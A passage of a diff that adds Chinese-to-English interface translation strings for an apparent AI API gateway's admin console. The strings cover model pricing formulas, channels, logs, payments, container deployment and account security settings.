+    "敏感信息不会发送到前端显示": "Sensitive information will not be displayed in the frontend",
+    "数据传输中断": "Data transfer interrupted",
+    "数据存储位置：": "Data storage location:",
+    "数据库信息": "Database Information",
+    "数据库检查": "Database Check",
+    "数据库类型": "Database Type",
+    "数据库警告": "Database warning",
+    "数据格式错误": "Data format error",
+    "数据看板": "Dashboard",
+    "数据看板更新间隔": "Data dashboard update interval",
+    "数据看板设置": "Data dashboard settings",
+    "数据看板默认时间粒度": "Data dashboard default time granularity",
+    "数据管理和日志查看": "Data management and log viewing",
+    "文件上传": "File upload",
+    "文件搜索 {{count}} 次 * {{symbol}}{{price}} / 1K 次": "File search {{count}} calls * {{symbol}}{{price}} / 1K calls",
+    "文件搜索：{{count}} / 1K * 单价 {{price}} * {{ratioType}} {{ratio}} = {{amount}}": "File search: {{count}} / 1K * unit price {{price}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "文件搜索价格：{{symbol}}{{price}} / 1K 次": "File search price: {{symbol}}{{price}} / 1K times",
+    "文件搜索调用 {{fileSearchCallCount}} 次": "File search called {{fileSearchCallCount}} times",
+    "文字价格 {{textPrice}} + 音频价格 {{audioPrice}} * {{ratioType}} {{ratio}} = {{symbol}}{{total}}": "Text price {{textPrice}} + Audio price {{audioPrice}} * {{ratioType}} {{ratio}} = {{symbol}}{{total}}",
+    "文字提示 {{input}} tokens / 1M tokens * {{symbol}}{{price}} + 文字补全 {{completion}} tokens / 1M tokens * {{symbol}}{{compPrice}} = {{symbol}}{{total}}": "Text prompt {{input}} tokens / 1M tokens * {{symbol}}{{price}} + Text completion {{completion}} tokens / 1M tokens * {{symbol}}{{compPrice}} = {{symbol}}{{total}}",
+    "文字提示 {{input}} tokens / 1M tokens * {{symbol}}{{textInputPrice}} + 文字补全 {{completion}} tokens / 1M tokens * {{symbol}}{{textCompPrice}} + 音频提示 {{audioInput}} tokens / 1M tokens * {{symbol}}{{audioInputPrice}} + 音频补全 {{audioCompletion}} tokens / 1M tokens * {{symbol}}{{audioCompPrice}} * {{ratioType}} {{ratio}} = {{symbol}}{{total}}": "Text prompt {{input}} tokens / 1M tokens * {{symbol}}{{textInputPrice}} + Text completion {{completion}} tokens / 1M tokens * {{symbol}}{{textCompPrice}} + Audio prompt {{audioInput}} tokens / 1M tokens * {{symbol}}{{audioInputPrice}} + Audio completion {{audioCompletion}} tokens / 1M tokens * {{symbol}}{{audioCompPrice}} * {{ratioType}} {{ratio}} = {{symbol}}{{total}}",
+    "文字提示 {{nonCacheInput}} tokens / 1M tokens * {{symbol}}{{price}} + 缓存 {{cacheInput}} tokens / 1M tokens * {{symbol}}{{cachePrice}} + 文字补全 {{completion}} tokens / 1M tokens * {{symbol}}{{compPrice}} = {{symbol}}{{total}}": "Text prompt {{nonCacheInput}} tokens / 1M tokens * {{symbol}}{{price}} + Cache {{cacheInput}} tokens / 1M tokens * {{symbol}}{{cachePrice}} + Text completion {{completion}} tokens / 1M tokens * {{symbol}}{{compPrice}} = {{symbol}}{{total}}",
+    "文字输入": "Text input",
+    "文字输出": "text output",
+    "文字输出：{{tokens}} / 1M * 模型倍率 {{modelRatio}} * 补全倍率 {{completionRatio}} * {{ratioType}} {{ratio}} = {{amount}}": "Text output: {{tokens}} / 1M * model ratio {{modelRatio}} * completion ratio {{completionRatio}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "文心一言": "ERNIE Bot",
+    "文档": "Documentation",
+    "文档地址": "Document Link",
+    "文生视频": "Text-to-video",
+    "新增": "added",
+    "新增 Key 来源": "Add Key Source",
+    "新增供应商": "Add vendor",
+    "新增失败": "Failed to add",
+    "新增已选 {{selected}} / {{total}}": "",
+    "新增成功": "Added successfully",
+    "新增支付方式": "",
+    "新增条件": "Add Condition",
+    "新增模型": "",
+    "新增规则": "Add Rule",
+    "新增订阅": "Add subscription",
+    "新密码": "New Password",
+    "新密码需要和原密码不一致！": "New password must be different from the old password!",
+    "新建": "Create",
+    "新建套餐": "Create Plan",
+    "新建容器": "Create Container",
+    "新建容器部署": "Create Container Deployment",
+    "新建数量": "New quantity",
+    "新建组": "New group",
+    "新格式（支持条件判断与json自定义）：": "New format (supports conditional judgment and JSON customization):",
+    "新格式（规则 + 条件）": "New Format (Rules + Conditions)",
+    "新格式模板": "New format template",
+    "新版本": "New Version",
+    "新用户使用邀请码奖励额度": "New user invitation code bonus quota",
+    "新用户初始额度": "Initial quota for new users",
+    "新的备用恢复代码": "New backup recovery code",
+    "新的备用码已生成": "New backup code has been generated",
+    "新获取的模型": "New models",
+    "新额度：": "New quota: ",
+    "无": "None",
+    "无GPU": "No GPU",
+    "无冲突项": "No conflict items",
+    "无效的部署信息": "Invalid deployment information",
+    "无效的重置链接，请重新发起密码重置请求": "Invalid reset link, please initiate a new password reset request",
+    "无法发起 Passkey 注册": "Unable to initiate Passkey registration",
+    "无法复制到剪贴板，请手动复制": "Unable to copy to clipboard, please copy manually",
+    "无法添加图片": "Unable to add image",
+    "无法获取容器详情": "Unable to get container details",
+    "无法读取剪贴板": "Cannot read clipboard",
+    "无法连接 io.net": "Unable to connect to io.net",
+    "无生效": "No active",
+    "无邀请人": "No Inviter",
+    "无限制": "Unlimited",
+    "无限额度": "Unlimited quota",
+    "日": "day",
+    "日志导出成功": "Logs exported successfully",
+    "日志已下载": "Logs downloaded",
+    "日志已加载": "Logs loaded",
+    "日志已复制到剪贴板": "Logs copied to clipboard",
+    "日志总大小": "Total Log Size",
+    "日志文件数": "Log File Count",
+    "日志时间范围": "Log Date Range",
+    "日志流": "Log Stream",
+    "日志清理失败：": "Log cleanup failed:",
+    "日志目录": "Log Directory",
+    "日志类型": "Log type",
+    "日志设置": "Log settings",
+    "日志详情": "Log details",
+    "旧格式（JSON 对象）": "Legacy Format (JSON Object)",
+    "旧格式（直接覆盖）：": "Old format (direct override):",
+    "旧格式必须是 JSON 对象": "Legacy format must be a JSON object",
+    "旧格式模板": "Old format template",
+    "旧的备用码已失效，请保存新的备用码": "Old backup codes have been invalidated, please save the new backup codes",
+    "早上好": "Good morning",
+    "时间": "Time",
+    "时间信息": "Time Information",
+    "时间粒度": "Time granularity",
+    "易支付": "Epay",
+    "易支付商户ID": "Epay merchant ID",
+    "易支付商户密钥": "Epay merchant key",
+    "是": "Yes",
+    "是否为企业账户": "Is it an enterprise account?",
+    "是否同时重置对话消息？选择\"是\"将清空所有对话记录并恢复默认示例；选择\"否\"将保留当前对话记录。": "Reset conversation messages at the same time? Selecting \"Yes\" will clear all conversation records and restore default examples; selecting \"No\" will retain current conversation records.",
+    "是否将该订单标记为成功并为用户入账？": "Mark this order as successful and credit the user?",
+    "是否检测上游模型更新": "",
+    "是否确认充值？": "Confirm the recharge?",
+    "是否自动同步上游模型更新": "",
+    "是否自动禁用": "Whether to automatically disable",
+    "是否要求指纹/面容等生物识别": "Whether to require fingerprint/face recognition",
+    "显示倍率": "Show ratio",
+    "显示最新20条": "Display latest 20",
+    "显示名称": "Display Name",
+    "显示名称字段": "Display Name Field",
+    "显示名称字段（可选）": "Display Name Field (optional)",
+    "显示完整内容": "Show full content",
+    "显示操作项": "Show actions",
+    "显示更多": "Show more",
+    "显示第": "Showing",
+    "显示设置": "Display settings",
+    "显示调试": "Show debug",
+    "晚上好": "Good evening",
+    "普通环境变量": "Regular Environment Variables",
+    "普通用户": "Normal User",
+    "普通输入：{{tokens}} / 1M * 模型倍率 {{modelRatio}} * {{ratioType}} {{ratio}} = {{amount}}": "Standard input: {{tokens}} / 1M * model ratio {{modelRatio}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "智能体ID": "Agent ID",
+    "智能熔断": "Smart fallback",
+    "智谱": "Zhipu AI",
+    "暂存错误": "Staging Error",
+    "暂无": "None",
+    "暂无API信息": "No API information",
+    "暂无SSE响应数据": "No SSE response data",
+    "暂无产品配置": "No product configuration",
+    "暂无保存的配置": "No saved configuration",
+    "暂无充值记录": "No recharge records",
+    "暂无公告": "No Notice",
+    "暂无分组，点击下方按钮添加": "No groups yet. Click the button below to add one.",
+    "暂无匹配模型": "No matching model",
+    "暂无参数覆盖记录": "",
+    "暂无可复制 JSON": "No JSON available to copy",
+    "暂无可复制的版本信息": "No version information to copy",
+    "暂无可展示数据": "No data available to display",
+    "暂无可用的支付方式，请联系管理员配置": "No payment methods available, please contact administrator for configuration",
+    "暂无可购买套餐": "No plans available for purchase",
+    "暂无响应数据": "No response data",
+    "暂无容器信息": "No container information",
+    "暂无容器详情": "No container details",
+    "暂无密钥数据": "No key data",
+    "暂无差异化倍率显示": "No differential ratio display",
+    "暂无已绑定项": "No bound items",
+    "暂无常见问答": "No FAQ",
+    "暂无成功模型": "No successful models",
+    "暂无支付方式，点击上方按钮新增": "",
+    "暂无数据": "No data",
+    "暂无数据，点击下方按钮添加键值对": "No data, click the button below to add key-value pairs",
+    "暂无日志": "No logs",
+    "暂无日志可下载": "No logs available to download",
+    "暂无日志可复制": "No logs available to copy",
+    "暂无机密环境变量": "No secret environment variables",
+    "暂无模型": "No models",
+    "暂无模型描述": "No model description",
+    "暂无环境变量": "No environment variables",
+    "暂无监控数据": "No monitoring data",
+    "暂无系统公告": "No system notice",
+    "暂无缺失模型": "No missing models",
+    "暂无自动分组，点击下方按钮添加": "No auto groups yet. Click the button below to add one.",
+    "暂无自定义 OAuth 提供商": "No custom OAuth providers",
+    "暂无规则，点击下方按钮添加": "No rules yet. Click the button below to add one.",
+    "暂无订阅套餐": "No subscription plans",
+    "暂无订阅记录": "No subscription records",
+    "暂无请求数据": "No request data",
+    "暂无项目": "No projects",
+    "暂无预填组": "No prefilled groups",
+    "暴露倍率接口": "Expose ratio API",
+    "更多": "Expand more",
+    "更多信息请参考": "For more information, please refer to",
+    "更多参数请参考": "For more parameters, please refer to",
+    "更好的价格，更好的稳定性，只需要将模型基址替换为：": "Better price, better stability, no subscription required, just replace the model BASE URL with: ",
+    "更新": "Update",
+    "更新 Creem 设置": "Update Creem Settings",
+    "更新 Stripe 设置": "Update Stripe settings",
+    "更新 Waffo 设置": "",
+    "更新SSRF防护设置": "Update SSRF Protection Settings",
+    "更新Worker设置": "Update Worker Settings",
+    "更新令牌信息": "Update Token Information",
+    "更新兑换码信息": "Update redemption code information",
+    "更新名称失败": "Failed to update name",
+    "更新失败": "Update failed",
+    "更新失败，请检查输入信息": "Update failed, please check the input information",
+    "更新套餐信息": "Update Plan Info",
+    "更新容器配置": "Update Container Configuration",
+    "更新容器配置可能会导致容器重启，请确保在合适的时间进行此操作。": "Updating container configuration may cause the container to restart, please ensure you perform this operation at an appropriate time.",
+    "更新成功": "Updated successfully",
+    "更新所有已启用通道余额": "Update balance for all enabled channels",
+    "更新支付设置": "Update payment settings",
+    "更新时间": "Update time",
+    "更新服务器地址": "Update Server Address",
+    "更新模型信息": "Update model information",
+    "更新渠道信息": "Update Channel Information",
+    "更新部署名称失败": "Failed to update deployment name",
+    "更新配置": "Update Configuration",
+    "更新配置后，容器可能需要重启以应用新的设置。请确保您了解这些更改的影响。": "After updating the configuration, the container may need to restart to apply the new settings. Please ensure you understand the impact of these changes.",
+    "更新配置失败": "Failed to update configuration",
+    "更新预填组": "Update pre-filled group",
+    "替换": "",
+    "月": "month",
+    "有 Reasoning": "Has Reasoning",
+    "有序字符串数组": "Ordered string array",
+    "有效期": "Validity",
+    "有效期单位": "Validity Unit",
+    "有效期数值": "Validity Value",
+    "有效期设置": "Validity Settings",
+    "服务可用性": "Service Status",
+    "服务商": "Service Provider",
+    "服务器IP": "Server IP",
+    "节点名称": "Node Name",
+    "服务器地址": "Server Address",
+    "服务器日志功能未启用（未配置日志目录）": "Server logging is not enabled (log directory not configured)",
+    "服务器日志管理": "Server Log Management",
+    "服务显示名称": "Service Display Name",
+    "未匹配到模型，按回车键可将「{{name}}」作为自定义模型名添加": "No matching models. Press Enter to add \"{{name}}\" as a custom model name.",
+    "未发现新增模型": "No new models were added",
+    "未发现重复密钥": "No duplicate keys found",
+    "未启动": "No start",
+    "未启用": "Not Enabled",
+    "未命名": "Unnamed",
+    "未在 Discovery 响应中找到可用的 OAuth 端点": "No available OAuth endpoints found in Discovery response",
+    "未备份": "Not backed up",
+    "未开始": "Not Started",
+    "未找到匹配的模型": "No matching model found",
+    "未找到可用的容器访问地址": "No available container access address found",
+    "未找到差异化倍率，无需同步": "No differential ratio found, no synchronization is required",
+    "未授权": "Unauthorized",
+    "未提交": "Not submitted",
+    "未检测到 Fluent 容器": "Fluent container not detected",
+    "未检测到 FluentRead（流畅阅读），请确认扩展已启用": "FluentRead (smooth reading) not detected, please confirm the extension is enabled",
+    "未测试": "Not tested",
+    "未添加附加条件时，仅使用上方 type 进行清理。": "When no additional conditions are added, only the above type is used for pruning.",
+    "未登录或登录已过期，请重新登录": "Not logged in or login has expired, please log in again",
+    "未知": "unknown",
+    "未知供应商": "Unknown",
+    "未知品牌": "Unknown Brand",
+    "未知模型": "Unknown model",
+    "未知渠道": "Unknown channel",
+    "未知状态": "Unknown status",
+    "未知类型": "Unknown type",
+    "未知身份": "Unknown Identity",
+    "未知部署": "Unknown Deployment",
+    "未知错误": "Unknown error",
+    "未绑定": "Not bound",
+    "未获取到授权码": "Authorization code not obtained",
+    "未设置": "Not set",
+    "未设置价格": "Price not set",
+    "未设置价格模型": "Models without price settings",
+    "未设置倍率模型": "Models without ratio settings",
+    "未设置路径": "No path configured",
+    "未配置模型": "No model configured",
+    "未配置的模型列表": "Models not configured",
+    "本地": "Local",
+    "本地数据存储": "Local data storage",
+    "本地计费": "Local billing",
+    "本月获得": "This month",
+    "本设备：手机指纹/面容，外接：USB安全密钥": "Built-in: phone fingerprint/face, External: USB security key",
+    "本设备内置": "Built-in device",
+    "本项目根据": "This project is licensed under the ",
+    "机密环境变量": "Secret Environment Variables",
+    "机密环境变量将被加密存储，适用于存储密码、API密钥等敏感信息。": "Secret environment variables will be stored encrypted, suitable for storing passwords, API keys and other sensitive information.",
+    "机密环境变量说明": "Secret Environment Variables Description",
+    "权重": "Weight",
+    "权限设置": "Permission Settings",
+    "条": "items",
+    "条 - 第": "to",
+    "条，共": "of",
+    "条件取反": "Negate Condition",
+    "条件数": "Conditions",
+    "条件规则": "Condition Rules",
+    "条件项设置": "Condition Item Settings",
+    "条日志已清理！": "logs have been cleared!",
+    "条规则": "rules",
+    "来源": "Source",
+    "来源于 IO.NET 部署": "From IO.NET Deployment",
+    "来源端点": "Source Endpoint",
+    "来自模型重定向，尚未加入模型列表": "From model redirect, not yet added to the model list",
+    "某些配置更改可能需要几分钟才能生效。": "Some configuration changes may take a few minutes to take effect.",
+    "查看": "Check",
+    "查看 Codex 帐号信息与用量": "",
+    "查看 JSON 示例": "",
+    "查看关联部署": "View Associated Deployment",
+    "查看图片": "View pictures",
+    "查看密钥": "View key",
+    "查看当前可用的所有模型": "View all available models",
+    "查看所有可用的AI模型供应商，包括众多知名供应商的模型。": "View all available AI model suppliers, including models from many well-known suppliers.",
+    "查看日志": "View Logs",
+    "查看渠道密钥": "View channel key",
+    "查看示例": "View Example",
+    "查看详情": "View Details",
+    "查询": "Query",
+    "标准价格": "Standard price",
+    "标签": "Label",
+    "标签不能为空！": "Label cannot be empty!",
+    "标签信息": "Tag Information",
+    "标签名称": "Tag Name",
+    "标签的基本配置": "Tag basic configuration",
+    "标签组": "Tag group",
+    "标签聚合": "Tag aggregation",
+    "标签聚合模式": "Enable tag mode",
+    "标识符 (Slug)": "Slug",
+    "标识颜色": "Identifier color",
+    "核心概念": "Key Concepts",
+    "核心配置": "Core Configuration",
+    "核采样，控制词汇选择的多样性": "Nucleus sampling, controls vocabulary selection diversity",
+    "根据 Anthropic 协定，/v1/messages 的输入 tokens 仅统计非缓存输入，不包含缓存读取与缓存写入 tokens。": "Per Anthropic conventions, /v1/messages input tokens count only non-cached input and exclude cache read/write tokens.",
+    "根据模型名称和匹配规则查找模型元数据，优先级：精确 > 前缀 > 后缀 > 包含": "Find model metadata based on model name and matching rules, priority: exact > prefix > suffix > contains",
+    "格式化": "Format",
+    "格式化 JSON": "Format JSON",
+    "格式正确": "Format Correct",
+    "格式示例：": "Format example:",
+    "格式错误": "Format Error",
+    "检查更新": "Check for updates",
+    "检测全部渠道上游更新": "",
+    "检测到 FluentRead（流畅阅读）": "FluentRead (smooth reading) detected",
+    "检测到以下高危状态码重定向规则": "Detected high-risk status-code redirect rules",
+    "检测到剪贴板中的连接信息": "Connection info detected in clipboard",
+    "检测到多个密钥，您可以单独复制每个密钥，或点击复制全部获取完整内容。": "Detected multiple keys, you can copy each key individually or click Copy All to get the complete content.",
+    "检测到该消息后有AI回复，是否删除后续回复并重新生成？": "AI reply detected after this message, delete subsequent replies and regenerate?",
+    "检测失败": "",
+    "检测完成：新增 {{add}} 个，删除 {{remove}} 个": "",
+    "检测必须等待绘图成功才能进行放大等操作": "Detection must wait for drawing to succeed before performing zooming and other operations",
+    "概览": "Overview",
+    "模型": "Model",
+    "模型 {{name}} 缺少输入价格，无法计算补全/缓存/图片/音频价格对应的倍率": "Model {{name}} is missing an input price, so the ratios for completion, cache, image, and audio pricing cannot be calculated.",
+    "模型 {{name}} 缺少音频输入价格，无法计算音频补全倍率": "Model {{name}} is missing an audio input price, so the audio completion ratio cannot be calculated.",
+    "模型: {{ratio}}": "Model: {{ratio}}",
+    "模型专用区域": "Model-specific area",
+    "模型价格": "Model price",
+    "模型价格 {{price}}": "Model price {{price}}",
+    "模型价格 {{symbol}}{{price}} / 次": "Model price {{symbol}}{{price}} / request",
+    "模型价格 {{symbol}}{{price}} / 次 * {{ratioType}} {{ratio}} = {{symbol}}{{total}}": "Model price {{symbol}}{{price}} / request * {{ratioType}} {{ratio}} = {{symbol}}{{total}}",
+    "模型价格 {{symbol}}{{price}}，{{ratioType}} {{ratio}}": "Model price {{symbol}}{{price}}, {{ratioType}} {{ratio}}",
+    "模型价格：{{symbol}}{{price}}": "Model price: {{symbol}}{{price}}",
+    "模型价格：{{symbol}}{{price}} * {{ratioType}}：{{ratio}} = {{symbol}}{{total}}": "Model price: {{symbol}}{{price}} * {{ratioType}}: {{ratio}} = {{symbol}}{{total}}",
+    "模型价格：{{symbol}}{{price}} / 次": "Model price: {{symbol}}{{price}} / request",
+    "模型价格未配置": "Model Price Not Configured",
+    "模型倍率": "Model ratio",
+    "模型倍率 {{modelRatio}}": "Model ratio {{modelRatio}}",
+    "模型倍率 {{modelRatio}}，缓存倍率 {{cacheRatio}}，输出倍率 {{completionRatio}}，{{ratioType}} {{ratio}}": "Model ratio {{modelRatio}}, cache ratio {{cacheRatio}}, completion ratio {{completionRatio}}, {{ratioType}} {{ratio}}",
+    "模型倍率 {{modelRatio}}，缓存倍率 {{cacheRatio}}，输出倍率 {{completionRatio}}，{{ratioType}} {{ratio}}，Web 搜索调用 {{webSearchCallCount}} 次": "Model ratio {{modelRatio}}, cache ratio {{cacheRatio}}, completion ratio {{completionRatio}}, {{ratioType}} {{ratio}}, Web search called {{webSearchCallCount}} times",
+    "模型倍率 {{modelRatio}}，缓存倍率 {{cacheRatio}}，输出倍率 {{completionRatio}}，图片输入倍率 {{imageRatio}}，{{ratioType}} {{ratio}}": "Model ratio {{modelRatio}}, cache ratio {{cacheRatio}}, completion ratio {{completionRatio}}, image input ratio {{imageRatio}}, {{ratioType}} {{ratio}}",
+    "模型倍率 {{modelRatio}}，补全倍率 {{completionRatio}}，音频倍率 {{audioRatio}}，音频补全倍率 {{audioCompletionRatio}}，{{cachePart}}{{ratioType}} {{ratio}}": "Model ratio {{modelRatio}}, completion ratio {{completionRatio}}, audio ratio {{audioRatio}}, audio completion ratio {{audioCompletionRatio}}, {{cachePart}}{{ratioType}} {{ratio}}",
+    "模型倍率 {{modelRatio}}，输出倍率 {{completionRatio}}，缓存倍率 {{cacheRatio}}，{{ratioType}} {{ratio}}": "Model ratio {{modelRatio}}, output ratio {{completionRatio}}, cache ratio {{cacheRatio}}, {{ratioType}} {{ratio}}",
+    "模型倍率 {{modelRatio}}，输出倍率 {{completionRatio}}，缓存倍率 {{cacheRatio}}，缓存创建倍率 {{cacheCreationRatio}}，{{ratioType}} {{ratio}}": "Model ratio {{modelRatio}}, completion ratio {{completionRatio}}, cache ratio {{cacheRatio}}, cache creation ratio {{cacheCreationRatio}}, {{ratioType}} {{ratio}}",
+    "模型倍率值": "Model Ratio Value",
+    "模型倍率和补全倍率": "Model Ratio and Completion Ratio",
+    "模型倍率和补全倍率同时设置": "Both model ratio and completion ratio are set",
+    "模型倍率设置": "Model ratio settings",
+    "模型关键字": "model keyword",
+    "模型列表已复制到剪贴板": "Model list copied to clipboard",
+    "模型列表已更新": "Model list updated",
+    "模型列表已追加更新": "Model list has been updated",
+    "模型创建成功！": "Model created successfully!",
+    "模型删除失败": "Failed to delete model",
+    "模型删除失败: {{error}}": "Failed to delete model: {{error}}",
+    "模型删除成功": "Model deleted successfully",
+    "模型名称": "Model Name",
+    "模型名称已存在": "Model name already exists",
+    "模型固定价格": "Model price per call",
+    "模型图标": "Model icon",
+    "模型定价，需要登录访问": "Model pricing, requires login to access",
+    "模型定价设置": "Model Pricing",
+    "模型广场": "Model Marketplace",
+    "模型拉取失败: {{error}}": "Failed to pull model: {{error}}",
+    "模型排行": "Model ranking",
+    "模型支持的接口端点信息": "Model supported API endpoint information",
+    "模型数据分析": "Model Data Analysis",
+    "模型映射必须是合法的 JSON 格式！": "Model mapping must be in valid JSON format!",
+    "模型更新成功！": "Model updated successfully!",
+    "模型未加入列表，可能无法调用": "Model not in the list; requests may fail",
+    "模型正则": "Model Regex",
+    "模型正则（每行一个）": "Model Regex (one per line)",
+    "模型正则不能为空": "Model regex cannot be empty",
+    "模型消耗分布": "Model consumption distribution",
+    "模型消耗趋势": "Model consumption trend",
+    "模型版本": "Model version",
+    "模型的详细描述和基本特性": "Detailed description and basic characteristics of the model",
+    "模型相关设置": "Model Related",
+    "模型社区需要大家的共同维护，如发现数据有误或想贡献新的模型数据，请访问：": "The model community needs everyone's contribution. If you find incorrect data or want to contribute new models, please visit:",
+    "模型管理": "Model Management",
+    "模型组": "Model group",
+    "模型补全倍率（仅对自定义模型有效）": "Model completion ratio (only effective for custom models)",
+    "模型计费编辑器": "Model Pricing Editor",
+    "模型请求速率限制": "Model request rate limit",
+    "模型调用次数占比": "Model call ratio",
+    "模型调用次数排行": "Model call ranking",
+    "模型选择和映射设置": "Model selection and mapping settings",
+    "模型部署": "Model Deployment",
+    "模型部署服务未启用": "Model deployment service is not enabled",
+    "模型部署管理": "Model Deployment Management",
+    "模型部署设置": "Model Deployment",
+    "模型配置": "Model Configuration",
+    "模型重定向": "Model mapping",
+    "模型重定向里的下列模型尚未添加到“模型”列表，调用时会因为缺少可用模型而失败：": "The following models from the redirect have not been added to the “Models” list and requests will fail due to no available model:",
+    "模型限制列表": "Model restrictions list",
+    "模式": "Mode",
+    "模板": "Template",
+    "模板应用失败": "Template application failed",
+    "模板示例": "Template example",
+    "模糊搜索模型名称": "Fuzzy search model name",
+    "次": "request",
+    "欢迎使用，请完成以下设置以开始使用系统": "Welcome! Please complete the following settings to start using the system",
+    "欧元": "EUR",
+    "正则替换": "",
+    "正在加载可用部署位置...": "Loading available deployment locations...",
+    "正在加载签到状态...": "Loading check-in status...",
+    "正在处理，请稍候": "",
+    "正在处理大内容...": "Processing large content...",
+    "正在批量处理，请稍候": "",
+    "正在批量检测，请稍候": "",
+    "正在提交": "Submitting",
+    "正在构造请求体预览...": "Constructing request body preview...",
+    "正在检查 io.net 连接...": "Checking io.net connection...",
+    "正在检测，请稍候": "",
+    "正在测试第 ${current} - ${end} 个模型 (共 ${total} 个)": "Testing model ${current} - ${end} (total ${total})",
+    "正在跟随最新日志": "Following latest logs",
+    "正在跳转 GitHub...": "Redirecting to GitHub...",
+    "正在跳转...": "Redirecting...",
+    "正常": "Normal",
+    "正常情况下，令牌的计费倍率由令牌所选的分组决定。特殊倍率可以根据「用户所在分组」进一步覆盖这个倍率。": "Normally, a token's billing ratio is determined by its selected group. Special ratios can override this based on the user's group.",
+    "正数为增加，负数为减少": "Positive to add, negative to subtract",
+    "此代理仅用于图片请求转发，Webhook通知发送等，AI API请求仍然由服务器直接发出，可在渠道设置中单独配置代理": "This proxy is only used for image request forwarding, webhook notification sending, etc. AI API requests are still sent directly by the server, and proxy can be configured separately in channel settings",
+    "此修改将不可逆": "This modification will be irreversible",
+    "此操作不可恢复，请仔细确认时间后再操作！": "This operation cannot be recovered, please confirm the time carefully before proceeding!",
+    "此操作不可撤销，将永久删除已自动禁用的密钥": "This operation cannot be undone, and all automatically disabled keys will be permanently deleted.",
+    "此操作不可撤销，将永久删除该密钥": "This operation cannot be undone, and the key will be permanently deleted.",
+    "此操作不可逆，所有数据将被永久删除": "This operation is irreversible, all data will be permanently deleted",
+    "此操作具有风险，请确认要继续执行": "This operation is risky, please confirm to continue",
+    "此操作将启用用户账户": "This operation will enable the user account",
+    "此操作将提升用户的权限级别": "This operation will elevate the user's permission level",
+    "此操作将禁用用户账户": "This operation will disable the user account",
+    "此操作将禁用该用户当前的两步验证配置，下次登录将不再强制输入验证码，直到用户重新启用。": "This will disable the user's current two-factor setup. No verification code will be required until they enable it again.",
+    "此操作将解绑用户当前的 Passkey，下次登录需要重新注册。": "This will detach the user's current Passkey. They will need to register again on next login.",
+    "此操作将降低用户的权限级别": "This operation will reduce the user's permission level",
+    "此支付方式最低充值金额为": "Minimum recharge amount for this payment method is",
+    "此时用户创建令牌时只能看到 standard 和 premium：": "Users can now only see standard and premium when creating tokens:",
+    "此渠道由 IO.NET 自动同步，类型、密钥和 API 地址已锁定。": "This channel is automatically synchronized by IO.NET, type, key and API address are locked.",
+    "此设置用于系统内部计算，默认值500000是为了精确到6位小数点设计，不推荐修改。": "This setting is used for internal system calculations. The default value of 500000 is designed for 6 decimal places precision, modification is not recommended.",
+    "此页面仅显示未设置价格或倍率的模型，设置后将自动从列表中移除": "This page only shows models without price or ratio settings. After setting, they will be automatically removed from the list",
+    "此页面仅显示未设置价格或基础倍率的模型，设置后会自动从列表中移出": "This page only shows models without base pricing. After saving, configured models will be removed from this list automatically.",
+    "此项只读，需要用户通过个人设置页面的相关绑定按钮进行绑定，不可直接修改": "Read-only, user's personal settings, and cannot be modified directly",
+    "此项可选，用于修改请求体中的模型名称，为一个 JSON 字符串，键为请求中模型名称，值为要替换的模型名称，例如：": "This is optional, used to modify the model name in the request body, it's a JSON string, the key is the model name in the request, and the value is the model name to be replaced, for example:",
+    "此项可选，用于修改请求体中的模型名称，为一个 JSON 字符串，键为请求中模型名称，值为要替换的模型名称，留空则不更改": "This is optional, used to modify the model name in the request body, as a JSON string, the key is the model name in the request, the value is the model name to be replaced, leaving blank will not change",
+    "此项可选，用于复写返回的状态码，仅影响本地判断，不修改返回到上游的状态码，比如将claude渠道的400错误复写为500（用于重试），请勿滥用该功能，例如：": "Optional, used to override returned status codes, only affects local judgment, does not modify status code returned upstream, e.g. rewriting Claude channel's 400 error to 500 (for retry). Do not abuse this feature. Example:",
+    "此项可选，用于覆盖请求参数。不支持覆盖 stream 参数": "This is optional, used to override request parameters. Overriding stream parameter is not supported.",
+    "此项可选，用于覆盖请求头参数": "This is optional, used to override request header parameters.",
+    "此项可选，用于通过自定义API地址来进行 API 调用，末尾不要带/v1和/": "Optional for API calls through custom API address, do not add /v1 and / at the end",
+    "每个充值单位对应的 USD 金额，默认 1.0": "",
+    "每个分组代表一个价格档位。管理员创建分组后，可以选择哪些档位对用户开放自选。": "Each group represents a pricing tier. After creating groups, admins can choose which tiers are open for user self-selection.",
+    "每个用户最多可创建的令牌数量，默认 1000，设置过大可能会影响性能": "Maximum number of tokens each user can create, default 1000. Setting too large may affect performance",
+    "每周": "Weekly",
+    "每天": "Daily",
+    "每容器GPU数": "GPUs per Container",
+    "每日仅可签到一次，请勿重复签到": "Only one check-in per day, please do not check in repeatedly",
+    "每日签到": "Daily Check-in",
+    "每日签到可获得随机额度奖励": "Daily check-in rewards random quota",
+    "每月": "Monthly",
+    "每美元对应 Token 数": "Tokens per USD",
+    "每隔多少分钟测试一次所有通道": "How many minutes between testing all channels",
+    "永不过期": "Never expires",
+    "永久删除您的两步验证设置": "Permanently delete your two-factor authentication settings",
+    "永久删除所有备用码（包括未使用的）": "Permanently delete all backup codes (including unused ones)",
+    "汇率": "Exchange rate",
+    "沙盒模式": "Sandbox Mode",
+    "沙盒环境 RSA 私钥 Base64 (PKCS#8 DER)": "Sandbox RSA private key Base64 (PKCS#8 DER)",
+    "沙盒环境 Waffo API 密钥": "",
+    "沙盒环境 Waffo 公钥 Base64 (X.509 DER)": "Sandbox Waffo public key Base64 (X.509 DER)",
+    "没有匹配的字段": "No matching fields",
+    "没有匹配的日志条目": "No matching log entries",
+    "没有匹配的规则": "No matching rules",
+    "没有可用令牌用于填充": "No available tokens for filling",
+    "没有可用模型": "No available models",
+    "没有找到匹配的模型": "No matching model found",
+    "没有未设置定价的模型": "No unpriced models",
+    "没有未设置的模型": "No unconfigured models",
+    "没有条件时，默认总是执行该操作。": "When no conditions are set, the operation is always executed by default.",
+    "没有模型可以复制": "No models to copy",
+    "没有账户？": "No account? ",
+    "注 册": "Sign Up",
+    "注册": "Sign up",
+    "注册 Passkey": "Register Passkey",
+    "注意": "Note",
+    "注意：JSON中重复的键只会保留最后一个同名键的值": "Note: In JSON, duplicate keys will only keep the value of the last key with the same name",
+    "注意非Chat API，请务必填写正确的API地址，否则可能导致无法使用": "Note: For non-Chat API, please make sure to enter the correct API address, otherwise it may not work",
+    "注销": "Logout",
+    "注销成功!": "Logout successful!",
+    "活跃文件": "Active Files",
+    "活跃缓存数": "Active Cache Count",
+    "流": "stream",
+    "流式": "Streaming",
+    "流式响应完成": "Streaming response completed",
+    "流式输出": "Streaming Output",
